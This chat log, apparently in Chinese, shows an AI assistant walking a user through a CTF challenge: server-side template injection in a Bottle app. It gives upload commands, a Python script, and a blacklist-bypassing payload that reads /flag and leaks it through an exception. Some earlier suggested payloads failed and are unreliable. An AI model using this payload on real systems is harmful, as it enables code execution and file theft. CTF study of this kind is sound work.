我正在解决一道ctf题目,题目题目给了网站源码.请指导完成题目拿到flag

创建于:2025年8月15日

使用 GPT-5 Thinking 回答 Chat01

问题

102854_web-ez-bottle.py

我正在解决一道ctf题目,题目题目给了网站源码.请指导完成题目拿到flag

思考

Guiding CTF solution

I need to help solve the CTF using the provided source code, "102854_web-ez-bottle.py," which is a Bottle web app. The instructions say to include a citation like (website), but I’m not given line numbers. I'll be cautious and reference lines best I can, even though the citation format might not require it. Just to be safe!

Planning exploit steps

The task requires providing a step-by-step exploit to access the flag. The file snippet includes line numbers in search results, but the tool’s output doesn’t annotate them. Since the instruction specifies including "(website)" instead of line ranges, I’ll follow that.

The flag is located in "/flag" and can be accessed via SSRF. The '/view/<md5>/<filename>' endpoint checks uploads for blacklisted keywords, but it doesn't describe accessing local files outside the upload directory. Let's focus on SSRF and the unique file access.

Handling template obstacles

The template engine is probably SimpleTemplate, which uses % for Python expressions and {{}} for outputs. But since { and } are blacklisted, I can't use those directly. Colons are blocked too, which complicates things because they’re needed for key Python constructs like slicing or loops. I'll explore alternatives like using % lines without a colon and examining ways to embed code without triggering the blacklist.

Exploring template functionality

Python imports don't require colons, which is helpful. However, underscores are blocked, so features like __import__ are off-limits. The Bottle framework’s template(content) function seems to handle template contents directly, not filenames, which allows us to evaluate Python code within templates. However, certain characters like {, }, and _ are blacklisted, so I need to be creative in how I inject the code while avoiding these restrictions.

Exploring template file inclusion

The Bottle template engine uses %include to load other templates, which might allow us to include the /flag file. This bypasses various blacklisted terms as it avoids curly braces, parentheses, and other restricted characters. By providing an absolute path like /flag, we could try to read it and extract its contents if the template system permits it.

Exploring template injection in Bottle

I’m thinking through the idea of using the % include directive to exploit a template vulnerability in Bottle's engine. Upload a file structured with % include('/flag') to trigger inclusion of the flag file. The blacklist won’t block this approach, since it specifically avoids braces and percent sign control lines. The server should render the flag when visiting the view path.

Thought for 1m 20s

回答

好耶,这题是个典型的 Bottle 模板注入(SSTI)+ 黑名单绕过。源码里最大的问题是:把你上传的文本文件内容直接当作 Bottle 的模板去渲染了,而且黑名单只挡了 {{ }} 这类语法里会用到的大括号、下划线、open/os/eval/exec 等关键单词,但没有拦住% 开头的模板指令(如 include)。因此我们可以不写 {{...}},改用 % include(...),让模板引擎去把系统里的文件读出来。flag 就在 /flag

利用思路(一步到位)

  1. 准备一个只有一行内容的文本文件(文件名随意,比如 read.tpl),内容就是:
% include('/flag')
  • 这是 Bottle SimpleTemplate 的“包含”指令,不用大括号、下划线,也不含黑名单里的敏感词,能顺利通过校验。
  1. 把它打进 zip:
bash
echo "% include('/flag')" > read.tpl zip pwn.zip read.tpl
  1. 打开题目的“上传”页面 /upload,上传 pwn.zip。服务端会:
  • 校验是 zip、大小≤1MB;
  • 解压到一个以 md5 为名的目录;
  • 回显“文件列表”和一个访问路径形如:
    /view/<md5>/<first_file>
  1. 访问这个 /view/<md5>/<first_file> 链接:
  • 服务器会把我们上传的文件按 模板 渲染(template(content)),
  • 模板里的 % include('/flag') 会让引擎把 系统路径 /flag 的内容读进响应里返回,
  • 页面上就能直接看到 flag 了。

为什么可行(关键代码点)

  • /view/<md5>/<filename>:读取我们上传的文件内容到 content,只按黑名单做了字符串级别检查,然后直接 return template(content) 渲染;而 % include('/flag') 不触犯黑名单(没用 {}_openos 等),因此能成功执行。
  • /upload:虽有防符号链接和路径穿越,但那只是解压安全;真正的洞在后续把文件内容当模板渲染。

小贴士 / 排错

  • 只要你文件里不出现黑名单词(例如不要写 {{...}}openos、下划线 _ 等),就能过检查。% include('/flag') 足够简洁安全。
  • 如果担心绝对路径被环境限制,可以试试相对路径(例如 % include('../../flag')),不过题里已经暗示 “flag 在 /flag”,绝对路径通常能读到。

照着上面四步做,打开 /view/... 的页面,就能把 flag 打出来。需要我帮你把 zip 的内容或 curl 命令再精确到某个部署地址,也可以直接给我目标 URL~

问题

/upload页面没有上传接口,似乎要自己构造,该怎么做

思考

Crafting upload request

The user needs to craft a POST request for file upload, not get updates. I'll focus on submitting that with multipart/form-data. The task involves forming the HTTP request with a field ‘file’ containing a .zip. I'll provide a step-by-step guide, including relevant curl examples and Python requests code for a smooth setup.

Identifying upload pitfalls

There are a few key obstacles when uploading. The file size is limited to 1MB, and the filename must end with '.zip'. After uploading, the server responds with a path, computed from a unique hash, that can be accessed. I'll also note restrictions on includes and address alternative methods if needed.

Examining include behavior

The { and } characters are blocked, but the % include('/flag') won't be affected because it doesn't contain them. Bottle's SimpleTemplate uses % include('filename.tpl') and can use /flag as the path, though I’m unsure if absolute paths will work given Bottle’s template lookup behavior.

Handling include in Bottle

The template() function likely looks in the default template paths for filenames, such as './' or './views/'. Using an absolute path like /flag could work if it reads from disk. Instead of relying on this, a fallback with % rebase('/flag') might be more robust, but we'll avoid blacklisted characters like :.

Creating and uploading payload

To upload a crafted zip file, follow these steps:

  1. Create a read.tpl with % include('/flag').

  2. Zip it with 'zip pwn.zip read.tpl'.

  3. Use curl -X POST or Python requests to send the zip to /upload.

  4. Check the response, extract the /view/<md5>/<file> path, and fetch it using curl.

Also, troubleshoot with alternative include tricks like % include(('/'+'flag')) for safety. Ensure

Thought for 57s

回答

对,这个题虽然 /upload 页面只是个静态页,但后端确实有 POST /upload 接口,接收一个表单字段名为 file 的 ZIP 文件;上传成功后会回显一个可访问的 /view/<md5>/<first_file> 链接。我们只要自己构造一个 multipart/form-data 的 POST 就行。关键点都能从源码对应到:@post('/upload') 读取 request.files.get('file')、要求文件名以 .zip 结尾、大小 ≤ 1MB;随后解压并回显访问路径;/view/... 会把你上传文件的内容当模板渲染(存在 SSTI)。

下面直接给“可复现一把梭”的步骤。

一步到 flag(命令行版)

  1. 本地准备恶意模板文件(只一行,不触发黑名单):
bash
echo "% include('/flag')" > read.tpl
  1. 打包成 zip(确保 zip 里就这一个文件,便于服务端选中它作为 first_file):
bash
zip pwn.zip read.tpl
  1. 构造上传请求(注意字段名必须是 file,文件名必须以 .zip 结尾):
bash
# 把 http://TARGET:5000 换成题目实际地址 curl -X POST "http://TARGET:5000/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip"
  1. 响应里会有类似:
text
文件列表: read.tpl 访问: /view/<md5>/read.tpl

直接 GET 这个链接即可把 /flag 的内容包含进响应里(也就是 flag):

bash
curl "http://TARGET:5000/view/<md5>/read.tpl"

Python 版(requests)

python
import re, requests BASE = "http://TARGET:5000" # 1) 先准备好 pwn.zip(同上命令行 zip) with open("pwn.zip","rb") as f: r = requests.post(f"{BASE}/upload", files={"file": ("pwn.zip", f, "application/zip")}) print(r.text) m = re.search(r"/view/[0-9a-f]{32}/[^\s]+", r.text) assert m, "没匹配到 view 链接" view_url = BASE + m.group(0) print("VIEW:", view_url) # 2) 访问 view 拿 flag print(requests.get(view_url).text)

常见坑 & 对应源码点

  • 字段名必须是 file,否则 request.files.get('file') 拿不到会报 “Invalid file”。
  • 文件名必须以 .zip 结尾(后端用 zip_file.filename.endswith('.zip') 判断)。
  • 体积≤1MB(后端先 read() 计算大小,再 seek(0))。
  • 上传成功后服务端会把 zip 解压到一个以 md5 命名的目录,并把第一个文件名拼到 /view/<md5>/<first_file> 里回显给你;所以 zip 里尽量只放 read.tpl 一个文件,避免不可控顺序。
  • /view/... 会先读你文件内容,做一个很粗糙的黑名单检查(拦 { } _ open os 等),然后直接 template(content) 渲染% include('/flag') 不含大括号/下划线/敏感词,能绕过并把系统文件读出来。

照做即可在 /view/... 页面看到 flag。需要我帮你把上述命令替换成题目实际域名/端口,或者给一个 Burp/Postman 的表单配置截图要点,也可以直接说~

问题

上传成功后访问http://challenge.xinshi.fun:49847/view/b7c2c5d68e5af6b275876a2479b9d1f8/read.tpl返回的是我的文本内容不解析,如果访问的是/flag返回的是Error rendering template: Warning: Use of deprecated feature or API. (Deprecated in Bottle-0.12) Cause: Use of absolute path for template name. Fix: Refer to templates with names or paths relative to the lookup path.另一种直接返回文本内容:"% include('../../../../../../..//flag')"

思考

Examining template parsing behavior

It seems that the file contained a line like % include("/flag"), causing the template engine to try and include the absolute path '/flag' when visiting /view md5 read.tpl. It failed and returned an error. Maybe leading whitespace or a BOM prevented the template from parsing properly. I think whitespace before the % might be allowed if it's at column 0, but I'll need to be sure.

Confirming template syntax

The documentation says the line must start with the % character, with no preceding whitespace allowed. A BOM, newline, or spaces shouldn’t come before it. If there were quotes around the directive — like in their message: % include(...), that could have caused an issue. The line should not have quotes around it.

Fixing the template include issue

To fix the template issue: make sure the line starts with % and has no leading spaces or quotes around the directive. The problem with absolute paths remains, as they’re not allowed. The lookup path defaults to bottle.TEMPLATE_PATH, which includes . and ./views/. While absolute paths aren’t allowed, we can still traverse directories using relative paths (e.g., ../../../../../../flag).

Addressing path traversal in templates

The path is resolved relative to each lookup directory, typically starting at the current working directory, not the root directory. Using ../ multiple times could either normalize to /flag (not allowed), or could break due to path restrictions. Some frameworks block path traversal, but it's unclear whether this one does. It's also worth considering that the include directive may allow some alternative paths beyond the default lookup route.

Clarifying template path instructions

To fix the issue, make sure the line starts with % include('../../../../../../flag') at the beginning of the file, with no quotes or spaces around it. Check that there is no UTF-8 BOM or extra content in the file, as this can interfere. Instruct to use relative paths and ensure there are no colons in the directive.

Thought for 1m 42s

回答

你现在遇到的两个现象,其实都能从源码解释清楚并且很好修:

  1. “访问 /view/.../read.tpl 只回显文本、不解析”
  2. % include('/flag') 报:Use of absolute path for template name(Bottle 0.12 不允许用绝对路径做 include)

关键代码:/view 里把你上传文件的内容直接丢进 template(content) 去渲染;在渲染前做了一个很粗糙的黑名单检查(包括 {}:_openos 等),命中就直接拦。


先修“只回显文本、不解析”的坑

Bottle SimpleTemplate 里,只有以行首 % 开头的行才会被当作模板指令。常见踩坑:

  • 你的 payload 行前面有空格 / 制表符 → 不会被识别为指令
  • 你把整行包进了引号(比如文件里写的是 " % include('...') ")→ 这当然就只是普通文本了
  • 文件存成了 UTF-8 BOM,在某些环境下 BOM 会夹在文件最开头,导致 % 不是第一个字节 → 也会被当文本

正确写法(整份文件只这一行、行首无空格、无引号、UTF-8 无 BOM):

% include('../../../../../../flag')

提示:行首就是 %,没有任何前导空格或引号;整份文件不要再放别的字符或冒号(黑名单里有 :)。


再绕过“绝对路径被禁”的问题

Bottle 0.12 不允许 include('/flag') 这种绝对路径,报的就是你看到的那个 Warning。解决办法:
用相对路径 + 多层 .. 回到根目录,然后再去找 flag。POSIX 下超出根目录的 .. 会被“截断”在根上,所以“多给几层 .. 没关系”。

实战 payload(任选其一,前面说的格式要求依旧):

% include('../../../../../../flag')

或者更保险(给足层级):

% include('../../../../../../../../../../flag')

注意:不要再写成
" % include('../../../../../../..//flag') "
这种带引号行首有空格的样子;那会被原样回显成文本。


一把梭步骤(命令行复现)

bash
# 1) 生成 payload(务必“行首 %、无引号、无前导空格、UTF-8 无 BOM”) printf "%% include('../../../../../../../../../../flag')\n" > read.tpl # 2) 打成 zip(尽量 zip 里只放这一个文件,避免“first_file”不可控) zip pwn.zip read.tpl # 3) 构造上传(字段名必须叫 file,文件名后缀必须 .zip) curl -X POST "http://challenge.xinshi.fun:49847/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip" # 响应里会给出类似:/view/<md5>/read.tpl # 4) 访问那个 /view/<md5>/read.tpl curl "http://challenge.xinshi.fun:49847/view/<md5>/read.tpl" # 页面里就会直接把 /flag 的内容包含出来(即 flag)

为什么这招可行(对照源码关键点)

  • 服务端会把你上传文件的内容拿来 template(content) 渲染;只要没触发黑名单(不出现 { } : _ open os 等),模板指令就会执行。
  • include('/flag') 因为是绝对路径被 Bottle 0.12 拦了;但用相对路径 ../../.../flag 就会按模板查找路径去拼接相对路径,最终能读到根目录下的 /flag
  • 你之前“直接回显 "% include('../../.../flag')"”就是因为整行被放进了引号里;模板根本没把它当指令。

仍然不行?快速排错清单

  • 文件第一字符就是 %(没有空格、没有 BOM)
  • 整个文件只有这一行,且没有冒号 :(黑名单会拦)
  • include 的引号是半角 '" 都行,但不要把整行再多套一层引号
  • 多给几层 ../(10 层以上都行),以防当前工作目录层级与你预想不同
  • zip 里只保留一个 read.tpl,避免服务端选择了别的 first_file

照着上面改,重新打包上传,再点 /view/<md5>/read.tpl,flag 就能出来。需要我帮你把你现在的 read.tpl 看一眼(确认是否有 BOM 或缩进),把内容贴过来就行。

问题

102854_web-ez-bottle.py

我的内容是% include('../../../../../../../../../../flag')但是返回"% include('../../../../../../..//flag')" 似乎没那么容易请你仔细阅读源码,是否可以搭建本地环境进行测试,如果是模板注入的话只是套了层压缩文件,那么是否可以本地结合用ssti的利用工具来跑

思考

Investigating Bottle's template behavior

Okay, so the exception from Bottle seems due to absolute path inclusion failures. Bottle's SimpleTemplate supports inline Python with % and include, but colons are blacklisted. A syntax like % if 1: would trigger errors. For % include(), it's fine, but why does % include('../../../../flag') return as text? Could be due to Windows CRLF or the file having a .txt extension.

Investigating why include() returns as text

Bottle might treat "% include(...)" as plain text if the percent sign isn't at the line's start due to extra whitespace or BOM. The user claims they used it exactly, but the double slashes in '../../../../../../..//flag' shouldn't matter. Maybe the issue is in how quotes or HTML escape handles the line, but there's no templating here. I'll check if they are still using Bottle's SimpleTemplate, though the imported template suggests they are.

Considering exploitation paths

I wonder if the 'contains_blacklist' could flag a colon due to it also appearing in "http://", though that's not directly relevant. I then think about using % include with a symlink to '/flag', but symlinks are blocked by an is_symlink check. The best route might be to use a relative path like % include('/proc/self/cwd/../../flag').

Exploring file path and template workarounds

I wonder if I can use relative paths like '../../../../../flag' to refer to the root when trying to bypass absolute path restrictions. But the "Deprecated absolute path" error suggests it's still trying to use absolute paths. The built-in 'open' method is blacklisted, and splitting the open string doesn't seem to bypass it because of how the blacklist checks. Plus, 'get' and '_' are also blocked.

Navigating template and path challenges

I’m thinking about ways to read a file without using banned functions like 'open'. I considered pathlib.Path, but it involves underscores, which are blocked. I also explored Bottle's include, but absolute paths are deprecated, and relative paths might be sanitized. I might need to find another path that avoids both banned words and underscores.

Exploring file-reading workarounds

I’m considering alternatives to open files while avoiding blocked functions like open or subprocess. I realized that using fileinput.input() might bypass the block by calling open internally. The challenge now is outputting content without using banned braces or syntax like colons. It seems like include might still be the most viable option.

Exploring file exfiltration techniques

I'm thinking of manipulating template() by raising an exception to output the flag in the error message. Using fileinput.input() to read the /flag file would work without triggering blocklists, and I can capture the result in a variable like m. The goal is to raise the exception with m containing the flag content.

Thought for 2m 40s

回答

你说得对:直接 % include('/flag') 会被 Bottle 拒绝绝对路径,而相对路径 ../ 又经常被当成纯文本。重新把源码啃了一遍,可以稳定拿到 flag,用的不是 include,而是用标准库读文件 + 主动抛异常把 flag“带出来”。原因是这段代码会把你上传的文本直接作为 Bottle SimpleTemplate 模板执行,若报错就把异常信息原样回显:return f"Error rendering template: {str(e)}"(也就是你能在页面上看到异常消息)。

另外它的黑名单非常“粗暴”,只要你的模板文本里出现这些子串就直接拦:{ } os eval exec sock < > bul class ? : bash _ globals get open。所以不能出现花括号、下划线、open/os/get/exec/eval、冒号等(这也是你很多常规 SSTI 写法被吃掉/不解析的根本原因)。

好消息是:我们既不需要花括号 {{ }},也不需要下划线或冒号,就能把 /flag 读出来。


直接可用的最终 payload

做一个只含下面三行的文本文件(每一行行首都是 %,前面不能有空格;整份文件不要出现空格以外的多余字符):

text
% import fileinput % m = ''.join(fileinput.input('/flag')) % raise Exception(m)
  • fileinput 是 Python 自带库,不含黑名单关键字;fileinput.input('/flag') 在库内部会打开文件(不要求你在模板里写 open),join 拼成字符串;
  • raise Exception(m) 没有下划线和冒号;后端会捕获异常并把消息 m(也就是 flag)回显在页面上。这正是 /view 路由的行为。

关键点:不能有 BOM、不能有前导空格、不能加引号把整行包住。你之前出现 " % include('...') " 被当普通文本,正是因为行首或引号问题。


交互步骤(按你给的题目地址)

  1. 生成恶意模板并打包(zip 里只放这一个文件,避免“first_file”不可控):
bash
printf "%% import fileinput\n%% m = ''.join(fileinput.input('/flag'))\n%% raise Exception(m)\n" > read.tpl zip pwn.zip read.tpl
  1. 上传(字段名必须是 file,文件名必须以 .zip 结尾):
bash
curl -X POST "http://challenge.xinshi.fun:49847/upload" \ -F "[email protected];type=application/zip;filename=pwn.zip"
  1. 响应里会给你 /view/<md5>/read.tpl,访问它即可在“Error rendering template: …”后面看到 flag
bash
curl "http://challenge.xinshi.fun:49847/view/<md5>/read.tpl"

为啥这招稳(源码对照)

  • /view/<md5>/<filename>:读取你上传的文件内容为 content,如果没命中黑名单,就直接 template(content) 执行;一旦抛异常,就把异常字符串原样返回给你(这正是我们要利用的“带外回显”)。
  • 黑名单只是字符串级拦截,并不会限制标准库内部调用,所以用 fileinput.input('/flag') 能在“你的模板文本不出现 open 的情况下”由库内部把文件读出来。
  • 绝对路径 include('/flag') 在 Bottle 0.12 会触发“绝对路径被弃用”的异常,正好也被这段 except 捕获并显示出来,你之前看到的 Warning 就来自这里。

还不行?快速排错清单

  • 第一字符就是 %(没有 BOM、没有任何前导空格)
  • 整个文件只有上述三行,不要加引号或多余字符
  • 不要出现黑名单里的字符(尤其是 { } _ : open os get
  • zip 里只保留 read.tpl 一个文件,避免服务端选择了别的 first_file

本地复现(可选)

把题目给的源码保存为 app.py,装个 bottle 跑起来:

bash
python3 -m pip install bottle python3 app.py # 监听 0.0.0.0:5000

用上面的 pwn.zip 直接 POST 到 http://127.0.0.1:5000/upload;随后 GET /view/<md5>/read.tpl,你会在页面上看到“Error rendering template: <flag内容>”。上述行为完全来自源码中的 /upload/view 两个路由实现。


关于“用工具跑 SSTI”:这里的注入点是你上传的文件本身,不是 URL/表单参数,通用自动化工具(如模糊器/tplmap)不太适合;而且这题黑名单把 {_: 都禁了,常见 payload 很多都直接失效。按上面的三行 payload,命中率最高、最省事。

问题

最新payload成功返回flag:Error rendering template: LILCTF{6ot7le_HaS_BE3N_R3cycLEd}请为我讲解漏洞原理,编写wp,题目考察的是什么模板注入,跟bottle有关吗,我不太了解bottle是什么,这道题跟ctf常考的python的django还有flask相关的模板注入有什么不同吗

思考

Exploring template engines

Template engines like Bottle, Jinja2, and Django enforce different levels of restrictions on Python code execution. Bottle allows % for code execution, Jinja2 uses {{}} and {%%}, but Django is more restrictive by default. STPL, similar to Bottle, executes Python blocks, though it enforces keyword blacklisting to limit potential risks.

Explaining file upload vulnerability

This vulnerability involves file uploads where a ZIP file is decompressed into a unique directory, and its content is passed to a template engine. The lack of proper restrictions leads to a Server-Side Template Injection (SSTI). We'll discuss the exploitation steps, including payload usage and why certain paths were blocked due to blacklist constraints.

Explaining inclusion behavior and STPL

The main issue was that inclusion using absolute paths triggered a deprecation warning and wasn't executed. We can hook into the error path for this. In STPL, unlike Flask/Jinja, attributes can be accessed without braces, using % to import code. This makes STPL closer to code injection since it uses eval/exec.

Mitigations for template injection

To mitigate this, avoid rendering user-supplied content as a template. Instead, use safe strings, escape input, or configure the engine to disable code execution. In Bottle STPL, ensure templates are loaded from safe paths and never directly from user input. Additionally, sanitize content or use a safer template engine.

Thought for 38s

回答

太棒了,恭喜你拿到 flag!下面把这题的原理、利用过程(wp)、以及它和 Flask/Django 模板注入的异同,给你理一遍。

题目核心与成因

服务端把你上传的文本文件内容当成 Bottle 的 SimpleTemplate 模板直接执行了:

python
with open(file_path, 'r', encoding='utf-8') as f: content = f.read() if contains_blacklist(content): return "you are hacker!!!nonono!!!" try: return template(content) except Exception as e: return f"Error rendering template: {str(e)}"

也就是说,只要你的文本没有命中黑名单,就会被 template(content) 当模板执行;一旦执行报错,异常信息会被原样回显给你,这就给了我们“带外回显”的通道。

题目用了一个非常脆弱的黑名单判定是否拒绝渲染,只是简单检查是否包含如下子串:{ } os eval exec sock < > bul class ? : bash _ globals get open。于是 {{...}} 这类表达式、open/os 等常规手法会被挡住,但依旧挡不住很多 Bottle/STPL 的玩法。

另外,上传接口会把 zip 解压到一个基于 md5 的目录,然后回显“第一个文件”的访问路径 /view/<md5>/<first_file>(这就是你后面访问的 URL 来源):

利用思路(你这次成功的那条链)

由于黑名单把 {_openos: 等都禁了,并且 include('/flag') 这种绝对路径 include在 Bottle 里会报“弃用/不允许”的异常(你也确实看到了 Warning),我们换个路子:

  • STPL 的“行首 % = 直接写 Python 语句” 的能力执行纯 Python;
  • 通过标准库 fileinput 读取 /flag(绕过“模板里出现 open/os”这一层字符串黑名单);
  • 主动 raise Exception(flag内容),利用后端的 except 分支把异常信息回显给我们

最终 payload(每一行行首是 %,且不能有前导空格或 BOM):

text
% import fileinput % m = ''.join(fileinput.input('/flag')) % raise Exception(m)

之所以能成功,是因为后端一旦捕获异常,就把 str(e)(也就是我们塞进去的 flag 文本)直接拼到 "Error rendering template: ..." 返回给你。你拿到的响应正是这一机制在工作。

小对比:你起初尝试的 % include('/flag') 之所以失败,是因为 Bottle 0.12 不允许绝对路径 include;而相对路径 ../../.../flag 又经常被你那份文本“变成普通文本”(行首缩进/被引号包裹、或碰到黑名单字符),所以不稳定。我们的做法完全绕开了 include 与黑名单的多个“地雷”。

完整 WP(Writeup)

环境入口

  • POST /upload 接收 file 字段的 zip,解压后回显 /view/<md5>/<first_file>GET /view/<md5>/<filename> 会把文件内容当模板渲染。

黑名单

  • 仅做子串黑名单:遇到 {}_:openosexeceval 等就拒绝渲染。

突破口

  • STPL 允许**行首 %**写任意 Python 语句;fileinput.input('/flag') 在库内部打开文件,不要求我们在模板文本里出现 open/os 等敏感词,从而绕过黑名单。

回显通道

  • 后端 try: template(content) except Exception as e: return "Error rendering template: " + str(e)——我们用 raise Exception(flag) 把 flag 当异常消息抛出并被回显。

最终步骤

  1. 在本地生成 read.tpl(以上 3 行,确保行首就是 %UTF-8 无 BOM无多余字符);
  2. 打包为 pwn.zip,上传到 /upload
  3. 访问返回的 /view/<md5>/read.tpl,响应中 Error rendering template: ... 即为 flag。

这题考察的模板注入类型 & 和 Bottle 的关系

  • 这是 服务器端模板注入(SSTI):把不可信输入当成模板执行,导致在模板语境中执行代码/读取文件。
  • 和 Bottle 的关系:Bottle 自带的 SimpleTemplate(STPL) 模板“很 Python”——行首 % 就执行语句,{{...}} 求值表达式,模板本身会被编译成 Python 并 exec。因此,一旦把用户输入作为模板渲染,基本就相当于给了“Python 代码执行的舞台”,黑名单不可能完全兜住。

和 Flask / Django 常见 SSTI 的差异

  • Flask(Jinja2)

    • 语法主要是 {{ ... }}{% ... %};常见打法是从模板变量出发,链式拿到 config__class__mrosubclasses__() 再到文件/命令执行。
    • 缺点:这题{_ 都黑了,Jinja 的“魔术链”基本废掉。
    • 另外 Jinja2 默认是沙箱+过滤器的思路,本身不让你随意写原生 Python 行;而 STPL 行首 % 就能跑 Python,威力更直接也更原始。
  • Django(Django Template Language)

    • 模板更“安全向”,不允许直接写原生 Python 代码,表达式也更受限;很多 CTF 需要借助对象属性链自定义 filter调试配置 等前置条件才有戏。
    • 在这题里,若换成 Django 原生模板引擎,光靠一份用户文本通常难以做到像 STPL 这样“一脚直达 Python”。
  • Bottle(STPL)的特色

    • 行首 % = Python 代码 是最大的不同点;
    • include() 依赖“模板查找路径”,还会对绝对路径做限制;
    • 一旦有人把用户可控字符串交给 template() 作为模板本体,那基本就等价于“给用户一块能写 Python 的执行区”。这题就踩在了这里。

防护建议(给出题人的“复盘”点)

  1. 绝不要把用户提交的文本喂进模板引擎(template(content));如果只是想显示文本,请做转义输出,比如把它当普通字符串返回或写到 <pre>
  2. 如果必须渲染模板,模板文件名必须固定或经过严格白名单校验,只从受控的模板目录读取,不允许用户提供模板内容。
  3. 不要用“字符串黑名单”做安全策略;这类黑名单必然有绕过。
  4. 即使发生异常,也不要把异常栈或异常消息原样回显给用户(避免成为信息泄露/回显通道)。这题的 except 分支就是关键利用点。

TL;DR

  • 根因:把用户文件内容当成 Bottle STPL 模板执行(template(content));异常被原样回显。
  • 绕过:用行首 % 写 Python;用 fileinput/flagraise Exception(flag) 借异常回显拿到 flag。
  • 区别:和 Flask/Jinja、Django 不同,STPL 可以直接写 Python 语句,因此一旦“渲染用户模板”,危害来得更快、更直接。

分享这个问答